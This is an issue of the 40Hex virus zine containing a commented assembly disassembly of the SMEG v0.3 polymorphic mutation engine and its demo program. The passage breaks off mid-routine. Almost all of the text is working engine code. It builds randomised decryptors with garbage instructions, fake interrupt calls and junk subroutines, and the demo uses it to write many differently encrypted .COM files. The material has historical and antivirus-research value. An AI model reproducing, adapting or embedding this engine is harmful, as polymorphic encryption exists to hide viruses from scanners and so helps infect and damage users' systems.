40Hex Number 14 Volume 5 Issue 1 File 001 SMEG is one of those ubiquitous polymorphism aids which have become fashionable during the last few years. It was written by the Black Baron of England. It tends to generate rather large decryptors. The only really interesting feature is that it has the capability of generating CALL's to garbage subroutines. Note that there are only a few routines which SMEG chooses from, so this encryption is more on the level of Whale coupled with garbling. The debug script follows the disassembly. Dark Angel Phalcon/Skism 1995 ------------------------------- ; This is the disassembly of a SMEG demonstration program which generates ; snippets of code encrypted with SMEG. .model tiny .code .radix 16 org 100 ; Disassembly by Dark Angel of Phalcon/Skism ; for 40Hex #14 Vol 5 Issue 1 workbuffer struc datasize dw ? ; 00 length of data to crypt sourceptr dw ? ; 02 pointer to data to crypt targetptr dw ? ; 04 pointer of where to put crypted data db ? ; 06 reg0 encryption value db ? ; 07 reg1 counter register db ? ; 08 reg2 temporary storage for data ; to be decrypted db ? ; 09 reg3 db ? ; 0A reg4 (always BP) db ? ; 0B reg5 db ? ; 0C reg6 db ? ; 0D reg7 pointer register rng_buffer dw ? ; 0E used by random number generator cryptval db ? ; 10 encryption value ptr_offsets dw ? ; 11 XXXX in [bx+XXXX] memory references loop_top dw ? ; 13 points to top of decryption loop pointer_patch dw ? ; 15 points to initialisation of pointer counter_patch dw ? ; 17 points to initialisation of counter pointer_fixup dw ? ; 19 needed for pointer calculation crypt_type db ? ; 1B how is it encrypted? initialIP dw ? ; 1C IP at start of decryptor lastgarble db ? ; 1E type of the last garbling instr cJMP_patch dw ? ; 1F conditional jmp patch CALL_patch dw ? ; 21 CALL patch nJMP_patch dw ? ; 23 near JMP patch garbage_size dw ? ; 25 # garbage bytes to append decryptor_size dw ? ; 27 size of decryptor last_CALL dw ? ; 29 location of an old CALL patch location which_tbl dw ? ; 2B which table to use workbuffer ends SMEG_demo: jmp enter_SMEG_demo filename db '0000.COM', 0 prompt db 'SMEG v0.3. Generation Difference Demonstration',0Dh db 0A,9,' (C) The Black Baron 1994',0Dh,0A,0A,0A db 'SELECT THE NUMBER OF GENERATIONS:',0Dh,0A,0A db '1 -- 10 Generations',0Dh,0A db '2 -- 100 ""',0Dh,0A db '3 -- 1000 ""',0Dh,0A db '4 -- 10000 "" (Large HD`s Only!!)$' _10 db ' 10 $' _100 db ' 100 $' _1000 db ' 1000 $' _10000 db ' 10000 $' generating db 0Dh,0A,0A,0A,'Generating$' please_wait db 'Executable .COM Generations, Please Wait...$' checkdiff db 0Dh,0A,0A db 'DONE! Now examine each, and' db ' note how different they are!',0Dh,0A,0A,7,'$' diskerror db 0Dh,0A,0A,'SORRY! A disk error has occurred!' db 0Dh,0A,0A,7,'$' num2gen dw 10d, offset _10 dw 100d, offset _100 dw 1000d, offset _1000 dw 10000d, offset _10000 enter_SMEG_demo:mov ax,3 ; set video mode to standard int 10 ; text mode (clear screen, too) mov dx,offset prompt ; display prompt mov ah,9 int 21 inputloop: mov ax,0C07 ; clear keyboard buffer & get int 21 ; keystroke cmp al,'1' ; must be between 1 and 4 jb inputloop cmp al,'4' ja inputloop sub al,'1' ; normalise xor ah,ah ; and find out how many files add ax,ax ; we should generate add ax,ax add ax,offset num2gen xchg bx,ax push bx mov dx,offset generating mov ah,9 ; display string int 21 pop bx ; display num to generate mov cx,[bx] push cx mov dx,[bx+2] int 21 mov dx,offset please_wait ; display string again int 21 pop cx gen_file_loop: push cx mov bp,offset data_area ; set up SMEG registers mov di,offset target_area mov dx,offset carrier mov cx,offset end_carrier - offset carrier mov ax,100 ; COM files start exec @ 100 call SMEG ; encrypt the carrier file mov ah,5Bh ; create new file mov dx,offset filename xor cx,cx int 21 jnc created_file print_error_exit: call print_error exit_error: pop cx mov ax,4CFF ; terminate errorlevel -1 int 21 created_file: xchg bx,ax mov ah,40 ; write decryptor mov cx,[bp.decryptor_size] mov dx,offset target_area int 21 jnc write_rest close_exit: call print_error mov ah,3E ; close file int 21 jmp short exit_error write_rest: call encrypt ; encrypt the code mov ah,40 ; the write the result to the mov cx,[bp.datasize] ; file mov dx,offset target_area int 21 jc close_exit call generate_garbage ; create garbage mov ah,40 ; append it to the file int 21 jc close_exit mov ah,3E ; close file int 21 jc print_error_exit mov bx,offset filename+3 ; calculate next file name mov cx,4 inc_fname: inc byte ptr [bx] cmp byte ptr [bx],3A jb increment_done sub byte ptr [bx],0A dec bx loop inc_fname increment_done: pop cx loop gen_file_loop mov dx,offset checkdiff ; display string mov ah,9 int 21 mov ax,4C00 ; exit errorlevel 0 int 21 print_error: mov dx,offset diskerror ; display error message mov ah,9 int 21 retn carrier: call enter_carrier db 0Dh,0A,'This was decrypted with a SMEG v0.3 generated' db ' decryptor!',0Dh,0A,'$' enter_carrier: pop dx mov ah,9 ; print string int 21 mov ax,4c00 ; terminate int 21 end_carrier: ; SMEG code begins here SMEG: mov [bp.datasize],cx ; save length to crypt mov [bp.sourceptr],dx ; save offset to data to crypt mov [bp.targetptr],di ; save offset to where to put crypted stuff push bx si mov bx,bp db 83,0C3,06 ; add bx,6 mov cx,2Dh ; clear the work area with 0's ; the above line is buggy. it should read: mov cx,2Dh-6 push bx clear_dataarea: mov [bx],ch inc bx loop clear_dataarea mov [bp.initialIP],ax ; store initial IP call rnd_init mov bx,offset use_regs_tbl call rnd_get and al,1F xlat pop bx mov cx,4 fill_registers: xor dl,dl ; fill in which registers rcl al,1 ; do which job rcl dl,1 rcl al,1 rcl dl,1 mov [bx],dl inc bx loop fill_registers mov byte ptr [bx],5 ; use BP as a garbling register inc bx inc bx call rnd_get rol al,1 ; get top bit of al and al,1 ; to select between add al,6 ; si and di for ptr mov [bx],al ; register xor al,1 ; flip to the other one cmp byte ptr [bx-3],3 ; is it BX? jne is_not_bx mov [bx-3],al mov al,3 is_not_bx: mov [bx+1],al mov al,[bx-3] mov [bx-1],al gen_cryptval: call rnd_get xor al,ah jz gen_cryptval mov [bp.cryptval],al ; store encryption value call rnd_get ; get a random value for the or al,1 ; offset of memory references, mov [bp.ptr_offsets],ax ; i.e. the XXXX in [bp+XXXX] call rnd_init ; generate a random number and ax,3FF ; from 80 to 47F to be the add ax,80 ; number of garbage bytes to mov [bp.garbage_size],ax ; add ; the next block serves no purpose. but it is a valid text string... xor ax,ax ; 3?SMEG???? add al,53 ; where ? stands for an upper dec bp ; ASCII character inc bp inc di add al,0AE cld sub di,ax call rnd_get ; do the following from and ax,3 ; 3 to 7 times add al,3 xchg cx,ax begin_garble: push cx call garble_more call rnd_get cmp al,8C jbe no_int21 and ax,3 ; encode a dummy int 21 add ax,offset int21fcns ; call xchg si,ax mov ah,0B4 lodsb xchg ah,al stosw mov ax,21CDh ; encode int 21 stosw no_int21: pop cx loop begin_garble mov al,0E8 ; encode a CALL stosb push di ; write garbage for offset stosw ; of call for now call garble_more ; encode some garbage mov al,0E9 ; encode a JMP stosb pop bx push di stosw push di pop ax dec ax dec ax sub ax,bx mov [bx],ax ; patch CALL to point to ; space past the JMP where we call garble_more ; encode a garbage subroutine mov al,0C3 ; encode a RETN stosb pop bx push di pop ax dec ax dec ax sub ax,bx mov [bx],ax ; Make JMP go past subroutine call encode_routine ; encode the routine! mov si,bp db 83,0C6,08 ; add si,8 ; default to using data temp ; storage register to return ; to top of loop and al,al ; check return code of routine jnz how_to_top dec si ; if 0, instead use encryption dec si ; value register to return how_to_top: mov al,75 ; encode JNZ stosb inc di push di call garble_some pop bx mov al,0E9 ; encode a JMP stosb push di inc di ; skip the offset for now inc di mov ax,di sub ax,bx mov [bx-1],al ; patch the JNZ call garble_some call rnd_get and ax,3 ; first entry requires add ax,ax ; no register setup, so jz no_setup ; jmp past it push ax mov al,0B8 or al,[si] ; MOV word-reg, XXXX stosb mov ax,[bp.loop_top] sub ax,[bp.targetptr] add ax,[bp.initialIP] stosw call garble_some pop ax no_setup: add ax,offset jmp_table xchg bx,ax call word ptr [bx] ; encode method of returning stosw ; to the top of the loop pop bx mov ax,di sub ax,bx dec ax dec ax mov [bx],ax call garble_more pad_paragraph: mov ax,di ; pad the decryptor out to the sub ax,[bp.targetptr] ; nearest paragraph and al,0F ; do we need to? jz padded ; no, we are done cmp al,0C ; otherwise, still a lot to go? ja one_byte_pad ; no, do one byte at a time call not_branch_garble ; else do a nonbranching jmp short pad_paragraph ; instruction one_byte_pad: call rnd_get ; do a random one byte padding call do_one_byte ; instruction jmp short pad_paragraph padded: mov ax,di sub ax,[bp.targetptr] mov [bp.decryptor_size],ax add ax,[bp.initialIP] mov cx,[bp.pointer_fixup] sub ax,cx mov bx,[bp.pointer_patch] mov [bx],ax mov bl,[bp.crypt_type] ; get encryption type so mov cl,3 ; the initial value of the ror bl,cl ; counter can be calculated db 83,0E3,0F ; and bx,0F add bx,offset counter_init_table mov ax,[bp.datasize] call word ptr [bx] mov bx,[bp.counter_patch] ; patch the value of the mov [bx],ax ; counter as needed pop si bx retn generate_garbage: mov cx,[bp.garbage_size] ; write random bytes mov di,[bp.targetptr] ; to the target location push cx di random_gen: call rnd_get stosb loop random_gen pop dx cx retn write_table dw offset write_nothing dw offset write_cryptval dw offset write_pointer_patch dw offset write_counter_patch dw offset write_ptr_offset dw offset write_dl ; In the following table, each pair of bits represents a register ; in standard Intel format, i.e. 00 = ax, 01 = cx, 10 = dx, 11 = bx use_regs_tbl: db 00011011b ; ax cx dx bx db 11000110b ; bx ax cx dx db 10110001b ; dx bx ax cx db 01101100b ; cx dx bx ax db 11100100b ; bx dx cx ax db 00111001b ; ax bx dx cx db 01001110b ; cx ax bx dx db 10010011b ; dx cx ax bx db 01001011b ; cx ax dx bx db 11010010b ; bx cx ax dx db 10110100b ; dx bx cx ax db 00101101b ; ax dx cx bx db 11100001b ; bx dx ax cx db 01111000b ; cx bx dx ax db 00011110b ; ax cx bx dx db 10000111b ; dx ax cx bx db 00100111b ; ax dx cx bx db 11001001b ; bx ax dx cx db 01110010b ; cx bx ax dx db 10011100b ; dx cx bx ax db 11011000b ; dx ax bx cx db 00110110b ; ax bx cx dx db 10001101b ; bx cx dx ax db 01100011b ; cx dx ax bx db 11100100b ; bx dx cx ax db 00101101b ; ax dx cx bx db 00100111b ; ax dx cx bx db 00011110b ; ax cx bx dx db 11000110b ; bx ax cx dx db 10000111b ; bx cx ax dx db 11010010b ; cx bx ax dx db 01110010b ; cx bx ax dx onebyte_table: dec ax inc ax clc cld cmc stc inc ax dec ax ; high byte holds the opcode, low byte holds the second byte of the ; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low ; byte hold the maximum amount to add to the high byte in creating the ; instruction. This allows one word to generate more than one instruction, ; including the byte or word forms of the instructions ; note that this is reverse of what will be actually stored garble_table: dw 80F1 ; XOR reg, XXXX dw 3201 ; XOR reg, [reg] dw 0F6C1 ; TEST reg, XXXX dw 8405 ; TEST/XCHG reg, [reg] dw 80E9 ; SUB reg, XXXX (2 diff encodings) dw 2A01 ; SUB reg, [reg] dw 0D0EBh ; SHR reg, 1 dw 1A01 ; SBB reg, [reg] dw 80D9 ; SBB reg, XXXX dw 80D1 ; ADC reg, XXXX dw 0D0FBh ; SAR reg, 1/CL dw 0D0E3 ; SHL reg, 1/CL dw 0D0CBh ; ROR reg, 1/CL dw 0D0C3 ; ROL reg, 1/CL dw 8405 ; TEST/XCHG reg, [reg] dw 0D0DBh ; RCR reg, 1/CL dw 0C6C1 ; MOV reg, XXXX dw 080C9 ; OR reg, XXXX dw 0A01 ; OR reg, [reg] dw 0F6D1 ; NOT reg dw 0F6D9 ; NEG reg dw 8A01 ; MOV reg, [reg] dw 0C6C1 ; MOV reg, XXXX dw 0201 ; ADD reg, [reg] dw 80C1 ; ADD reg, XXXX dw 80FDh ; CMP reg, XXXX dw 3807 ; CMP reg, [reg] (2 diff encodings) dw 80E1 ; AND reg, XXXX dw 0D0D3 ; RCL reg, 1/CL dw 2201 ; AND reg, [reg] dw 1201 ; ADC reg, [reg] dw 8A01 ; MOV reg, [reg] int21fcns db 19,2A,2C,30 counter_init_table: dw offset counterinit0 dw offset counterinit1 dw offset counterinit2 dw offset counterinit3 dw offset counterinit4 dw offset counterinit5 dw offset counterinit6 dw offset counterinit7 encode_table dw offset use_as_is dw offset fill_mod_field dw offset fill_field dw offset fill_reg_reg1 dw offset fill_reg_field dw offset fill_mod_n_reg dw offset fill_reg_reg2 encode_tbl1: db 8,8C,0,0C8,4,0 ; 1 MOV reg0, CS db 8,8E,0,0D8,4,0 ; 2 MOV DS, reg0 db 7,0B8,4,-1,0,2 ; 3 MOV reg7,initial pointer db 1,0B8,4,-1,0,3 ; 4 MOV reg1,initial counter db 57,8A,0,80,5,4 ; 5 MOV reg2,[reg7+offset] db 57,88,0,80,5,4 ; 6 MOV [reg7+offset],reg2 db 2,80,0,0F0,4,1 ; 7 XOR reg2,cryptvalue db 11,8Bh,0,0C0,5,0 ; 8 MOV reg2,reg1 db 78,30,0,0,6,0 ; 9 XOR [reg7],reg0 db 47,0F6,0,98,4,4 ; A NEG [reg7+offset] db 47,0F6,0,90,4,4 ; B NOT [reg7+offset] db 7,40,4,-1,0,0 ; C INC reg7 db 1,48,4,-1,0,0 ; D DEC reg1 db 8,0B0,4, -1,0,1 ; E MOV reg0,cryptval db 10,33,0,0C0,5,0 ; F XOR reg2,reg0 encode_tbl2: db 47,86,0,80,5,4 ; 1 XCHG reg0,[reg7+offset] db 8,40,4,-1,0,0 ; 2 INC reg0 db 8,48,4,-1,0,0 ; 3 DEC reg0 db 7,81,0,0C0,4,15 ; 4 ADD reg7,1 db 1,81,0,0E8,4,15 ; 5 SUB reg1,1 db 10,2,0,0C0,5,0 ; 6 ADD reg2,reg0 db 10,2A,0,0C0,5,0 ; 7 SUB reg2,reg0 db 47,0FBh,4,0B0,4,4 ; 8 PUSH [reg7+offset] db 47,8F,0,80,4,4 ; 9 POP [reg7+offset] db 8,50,4,-1,0,0 ; A PUSH reg0 db 8,58,4,-1,0,0 ; B POP reg0 db 10,87,0,0C0,5,0 ; C XCHG reg2,reg0 db 2,40,4,-1,0,0 ; D INC reg2 db 8,8Bh,0,0C0,5,0 ; E MOV reg1,reg0 db 9,23,0,0C0,5,0 ; F AND reg1,reg1 routine4: db 10 ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV DS,reg0 (2) ; MOV reg1,initial counter (4) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; MOV reg2,[reg7+offset] (5) ; XOR reg2,reg0 (F) ; INC reg0 (02) ; MOV [reg7+offset],reg2 (6) ; INC reg7 (C) ; DEC reg1 (D) ; done (-1) db 13,24,0EF,05,0F0,26,0CDh,-1 routine8: db 71 ; MOV reg7,initial pointer (3) ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg0,encryption value (E) ; beginning of loop (0) ; DEC reg1 (D) ; NEG [reg7+offset] (A) ; DEC reg1 (D) ; MOV reg2,[reg7+offset] (5) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; DEC reg0 (03) ; ADD reg7,1 (04) ; SUB reg1,1 (05) ; DEC reg0 (03) ; SUB reg1,1 (05) ; done (-1) db 34,12,0EE,0Dh,0ADh,5F,60,30,40,50,30,50,-1 routine1: db 42 ; MOV reg1,initial counter (4) ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; XCHG reg2,reg0 (0C) ; MOV reg0,encryption value (E) ; MOV reg0,encryption value (E) ; XCHG reg2,reg0 (0C) ; MOV DS,reg0 (2) ; beginning of loop (0) ; XCHG reg0,[reg7+offset] (01) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; MOV reg2,reg1 (8) ; MOV reg2,reg1 (8) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg2 (0D) ; DEC reg0 (03) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; ADD reg7,1 (04) ; AND reg1,reg1 (0F) ; done (-1) ; return code 0 (0) db 43,10,0CE,0E0,0C2,0,1F,68,80,0D0,0D0,0D0,30,0C0,0E0,40 db 0F0,-1,0 routineC: db 33 ; MOV reg0,CS (1) ; MOV reg1,initial counter (4) ; MOV DS,reg0 (2) ; MOV reg7,initial pointer (3) ; MOV reg0,encryption value (E) ; MOV reg0,encryption value (E) ; beginning of loop (0) ; DEC reg1 (D) ; DEC reg1 (D) ; NOT [reg7+offset] (B) ; MOV reg2,[reg7+offset] (5) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; XOR reg2,reg0 (F) ; INC reg7 (C) ; INC reg0 (02) ; INC reg0 (02) ; XOR reg2,reg0 (F) ; done (-1) db 14,23,0EE,0Dh,0DBh,5F,6F,0C0,20,20,0F0,-1 routineE: db 64 ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg7,initial pointer (3) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; XOR [reg7],reg0 (9) ; MOV reg2,reg1 (8) ; XCHG reg2,reg0 (0C) ; INC reg0 (02) ; INC reg2 (0D) ; INC reg0 (02) ; ADD reg7,1 (04) ; INC reg0 (02) ; INC reg0 (02) ; MOV reg1,reg0 (0E) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; AND reg1,reg1 (0F) ; done (-1) db 41,2E,3F,9,80,0C0,20,0D0,20,40,20,20,0E0,0D0,0C0,0F0,-1 routine2: db 5 ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV reg1,initial counter (4) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; DEC reg1 (D) ; XOR reg2,encryption value (7) ; PUSH reg0 (0A) ; PUSH [reg7+offset] (08) ; POP reg0 (0B) ; XCHG reg2,reg0 (0C) ; POP reg0 (0B) ; PUSH reg0 (0A) ; SUB reg2,reg0 (07) ; MOV [reg7+offset],reg2 (6) ; INC reg7 (C) ; MOV reg2,reg1 (8) ; MOV reg2,reg1 (8) ; INC reg2 (0D) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; POP reg0 (0B) ; INC reg0 (02) ; AND reg1,reg1 (0F) ; done (-1) db 13,42,0EF,0Dh,70,0A0,80,0B0,0C0,0B0,0A0,76,0C8,80,0D0 db 0D0,0C0,0E0,0B0,20,0F0,-1 routineF: db 56 ; MOV reg7,initial pointer (3) ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; beginning of loop (0) ; MOV reg2,[reg7+offset] (5) ; INC reg2 (0D) ; ADD reg2,reg0 (06) ; MOV [reg7+offset],reg2 (6) ; MOV reg2,reg1 (8) ; DEC reg0 (03) ; XOR reg2,reg0 (F) ; DEC reg1 (D) ; INC reg7 (C) ; DEC reg1 (D) ; done (-1) db 34,12,2E,5,0D0,66,80,3F,0DC,0D0,-1 routine9: db 27 ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; XOR [reg7],reg0 (9) ; XOR reg2,reg0 (F) ; ADD reg7,1 (04) ; PUSH reg0 (0A) ; MOV reg2,reg1 (8) ; DEC reg1 (D) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; POP reg0 (0B) ; DEC reg0 (03) ; AND reg1,reg1 (0F) ; done (-1) db 41,32,0EF,9,0F0,40,0A8,0D0,0D0,0D0,0C0,0E0,0B0,30,0F0 db -1 routine7: db 32 ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XCHG reg2,reg0 (0C) ; beginning of loop (0) ; MOV reg2,reg1 (8) ; DEC reg1 (D) ; POP reg0 (0B) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; DEC reg0 (03) ; XCHG reg2,reg0 (0C) ; ADD reg7,1 (04) ; DEC reg1 (D) ; done (-1) ; return code 0 (0) db 41,32,0E0,0C0,8,0D0,0BF,60,30,0C0,4Dh,-1,0 routine5: db 11 ; MOV reg1,initial counter (4) ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; NEG [reg7+offset] (A) ; MOV reg2,[reg7+offset] (5) ; XOR reg2,reg0 (F) ; DEC reg1 (D) ; DEC reg0 (03) ; DEC reg0 (03) ; XCHG reg2,reg0 (0C) ; XCHG reg0,[reg7+offset] (01) ; XCHG reg2,reg0 (0C) ; ADD reg7,1 (04) ; AND reg1,reg1 (0F) ; done (-1) db 43,12,0EF,0A,5F,0D0,30,30,0C0,10,0C0,40,0F0,-1 routineB: db 66 ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; MOV reg1,initial counter (4) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; PUSH reg0 (0A) ; PUSH [reg7+offset] (08) ; MOV reg2,reg1 (8) ; MOV reg2,reg1 (8) ; XCHG reg2,reg0 (0C) ; INC reg0 (02) ; INC reg0 (02) ; INC reg0 (02) ; INC reg0 (02) ; MOV reg1,reg0 (0E) ; POP reg0 (0B) ; XCHG reg2,reg0 (0C) ; POP reg0 (0B) ; ADD reg2,reg0 (06) ; PUSH reg0 (0A) ; XCHG reg2,reg0 (0C) ; PUSH reg0 (0A) ; POP [reg7+offset] (09) ; POP reg0 (0B) ; DEC reg0 (03) ; INC reg7 (C) ; XOR reg2,reg0 (F) ; AND reg1,reg1 (0F) ; done (-1) db 31,42,0EF,0,0A0,88,80,0C0,20,20,20,20,0E0,0B0,0C0,0B0 db 60,0A0,0C0,0A0,90,0B0,3C,0F0,0F0,-1 routine3: db 4 ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg2,reg1 (8) ; MOV reg1,initial counter (4) ; MOV reg7,initial pointer (3) ; beginning of loop (0) ; MOV reg2,reg1 (8) ; DEC reg1 (D) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; XCHG reg2,reg0 (0C) ; XOR [reg7],reg0 (9) ; INC reg7 (C) ; INC reg0 (02) ; INC reg0 (02) ; AND reg1,reg1 (0F) ; done (-1) db 12,0E8,43,8,0D0,0D0,0C0,0E0,0C9,0C0,20,20 db 0F0,-1 routineD: db 73 ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; MOV reg1,initial counter (4) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg1,initial counter (4) ; beginning of loop (0) ; DEC reg1 (D) ; DEC reg1 (D) ; DEC reg1 (D) ; NOT [reg7+offset] (B) ; PUSH reg0 (0A) ; PUSH [reg7+offset] (08) ; POP reg0 (0B) ; XCHG reg2,reg0 (0C) ; POP reg0 (0B) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; INC reg0 (02) ; ADD reg7,1 (04) ; INC reg0 (02) ; SUB reg1,1 (05) ; done (-1) db 31,42,0E4,0Dh,0DDh,0B0,0A0,80,0B0,0C0,0BF,60,20,40,20 db 50,-1 routine0: db 20 ; MOV reg0,encryption value (E) ; XCHG reg2,reg0 (0C) ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV DS,reg0 (2) ; MOV reg1,initial counter (4) ; beginning of loop (0) ; XCHG reg0,[reg7+offset] (01) ; XCHG reg2,reg0 (0C) ; XOR reg2,reg0 (F) ; DEC reg1 (D) ; XCHG reg2,reg0 (0C) ; XCHG reg0,[reg7+offset] (01) ; XCHG reg2,reg0 (0C) ; MOV reg2,reg1 (8) ; INC reg7 (C) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg0 (02) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; AND reg1,reg1 (0F) ; done (-1) ; return code 0 (0) db 0E0,0C1,32,40,0,10,0CF,0D0,0C0,10,0C8,0C0,0D0,0D0,0D0 db 20,0C0,0E0,0F0,-1,0 routine6: db 55 ; MOV reg1,initial counter (4) ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg7,initial pointer (3) ; beginning of loop (0) ; MOV reg2,[reg7+offset] (5) ; DEC reg1 (D) ; SUB reg2,reg0 (07) ; INC reg0 (02) ; SUB reg1,1 (05) ; MOV [reg7+offset],reg2 (6) ; INC reg7 (C) ; DEC reg1 (D) ; done (-1) db 43,12,0E3,5,0D0,70,20,56,0CDh,-1 routineA: db 47 ; MOV reg0,encryption value (E) ; MOV reg7,initial pointer (3) ; MOV reg1,initial counter (4) ; XCHG reg2,reg0 (0C) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; beginning of loop (0) ; PUSH [reg7+offset] (08) ; POP reg0 (0B) ; XCHG reg2,reg0 (0C) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; MOV reg2,reg1 (8) ; DEC reg1 (D) ; DEC reg0 (03) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; ADD reg7,1 (04) ; AND reg1,reg1 (0F) ; done (-1) ; return code 0 (0) db 0E3,40,0C1,20,0,80,0B0,0CF,68,0D0,30,0D0,0D0,0D0,0C0 db 0E0,40,0F0,-1,0 crypt_table dw offset crypt0 dw offset crypt1 dw offset crypt2 dw offset crypt3 dw offset crypt4 dw offset crypt5 dw offset crypt6 dw offset crypt7 jmp_table dw offset jmp0 dw offset jmp1 dw offset jmp2 dw offset jmp3 routine_table: dw offset routine0 dw offset routine1 dw offset routine2 dw offset routine3 dw offset routine4 dw offset routine5 dw offset routine6 dw offset routine7 dw offset routine8 dw offset routine9 dw offset routineA dw offset routineB dw offset routineC dw offset routineD dw offset routineE dw offset routineF encrypt: cld push bx si mov bl,[bp.crypt_type] ; get encryption type db 83,0E3,0F ; and bx,0F add bx,bx add bx,offset crypt_table ; convert to offset mov di,[bp.targetptr] ; set up loop mov si,[bp.sourceptr] mov cx,[bp.datasize] mov dl,[bp.cryptval] encrypt_byte: lodsb call word ptr [bx] stosb loop encrypt_byte pop si bx retn crypt0: xor al,dl inc dl retn crypt2: xor dl,al mov al,dl dec dl retn crypt3: not al crypt4: xor al,dl inc dl inc dl retn crypt1: xor al,dl neg al dec dl dec dl retn crypt5: add al,dl inc dl retn crypt6: sub al,dl dec dl retn crypt7: xor al,dl dec dl retn counterinit0: neg ax counterinit1: retn counterinit2: neg ax counterinit3: add ax,ax retn counterinit4: neg ax counterinit5: mov cx,ax add ax,ax add ax,cx retn counterinit6: neg ax counterinit7: add ax,ax add ax,ax retn jmp0: mov al,0E9 ; encode a JMP stosb ; (with word offset) mov ax,di ; calculate offset to sub ax,[bp.loop_top] ; top of decryption loop inc ax ; adjust for jmp instruction inc ax neg ax ; adjust for going back instead retn ; of forwards jmp1: mov ax,0E0FF ; encode JMP register or ah,[si] retn jmp2: mov ax,0C350 ; encode PUSH/RETn jmpXdone: or al,[si] retn jmp3: mov al,0E ; encode PUSH CS stosb call garble_some ; garble a bit mov ax,0CB50 ; encode PUSH reg/RETN jmp short jmpXdone encode_routine: call rnd_get ; pick a random routine mov bx,offset routine_table ; to use and ax,0F add ax,ax add bx,ax mov si,[bx] lodsb ; get the first byte mov [bp.crypt_type],al ; and save it jmp short encode_routine2 ; keep going... encode_it: lodsb ; get the next byte cmp ah,-1 ; are we done? je use_as_is ; if so, exit xor bh,bh ; convert AL to add al,al ; offset in encode_table mov bl,al add bx,offset encode_table mov al,dh mov cx,3 call word ptr [bx] ; call the routine xchg ah,al stosb ; write the resulting byte use_as_is: retn fill_mod_field: ror al,cl fill_field: and al,7 ; get the register # al mov bx,bp db 83,0C3,06 ; add bx,6 xlat rol al,cl and cl,cl ; encoding rm or reg? jnz not_memory ; branch if doing rm test dh,40 ; memory access? jz not_memory cmp al,3 ; using bx? jne not_BX mov al,7 ; change it to di jmp short not_memory not_BX: cmp al,6 ; is it si? jb not_memory sub al,2 ; change it to double register not_memory: or ah,al retn fill_reg_reg1: ror al,cl ; [reg], reg fill_reg_field: xor cl,cl ; fill bottom 3 bits only jmp short fill_field fill_mod_n_reg: call fill_mod_field ; fill mod field as usual mov al,dh ; fill reg field with the jmp short fill_reg_field ; register that holds the ; data to be decrypted fill_reg_reg2: call fill_field mov al,dh jmp short fill_reg_reg1 encode_routine2:mov word ptr [bp.which_tbl],offset encode_tbl1 - 6 process_all: lodsb ; get a byte cmp al,-1 ; are we at the end? jne process_byte ; no, keep going lodsb ; else get returncode and exit retn process_byte: push si ax mov cl,4 call process_nibble xor cl,cl pop ax call process_nibble pop si jmp short process_all process_nibble: ror al,cl ; only use the part of and ax,0F ; the byte that we want jnz no_switch_table and cl,cl ; if the lower half of byte=0, jz switch_tables ; switch tables mov [bp.loop_top],di ; otherwise save this location retn ; as the top of the loop switch_tables: mov word ptr [bp.which_tbl],offset encode_tbl2 - 6 retn no_switch_table:push ax call garble_more pop ax add ax,ax ; calculate AX*6+[bp.which_tbl] mov bx,ax add ax,ax add ax,bx add ax,[bp.which_tbl] mov word ptr [bp.which_tbl],offset encode_tbl1 - 6 xchg si,ax lodsb mov dh,al ; dh holds first byte lodsb xchg ah,al ; ah holds second byte call encode_it ; process it lodsb ; now ah holds the next byte xchg ah,al call encode_it ; process it lodsb ; get the next byte mov dl,al 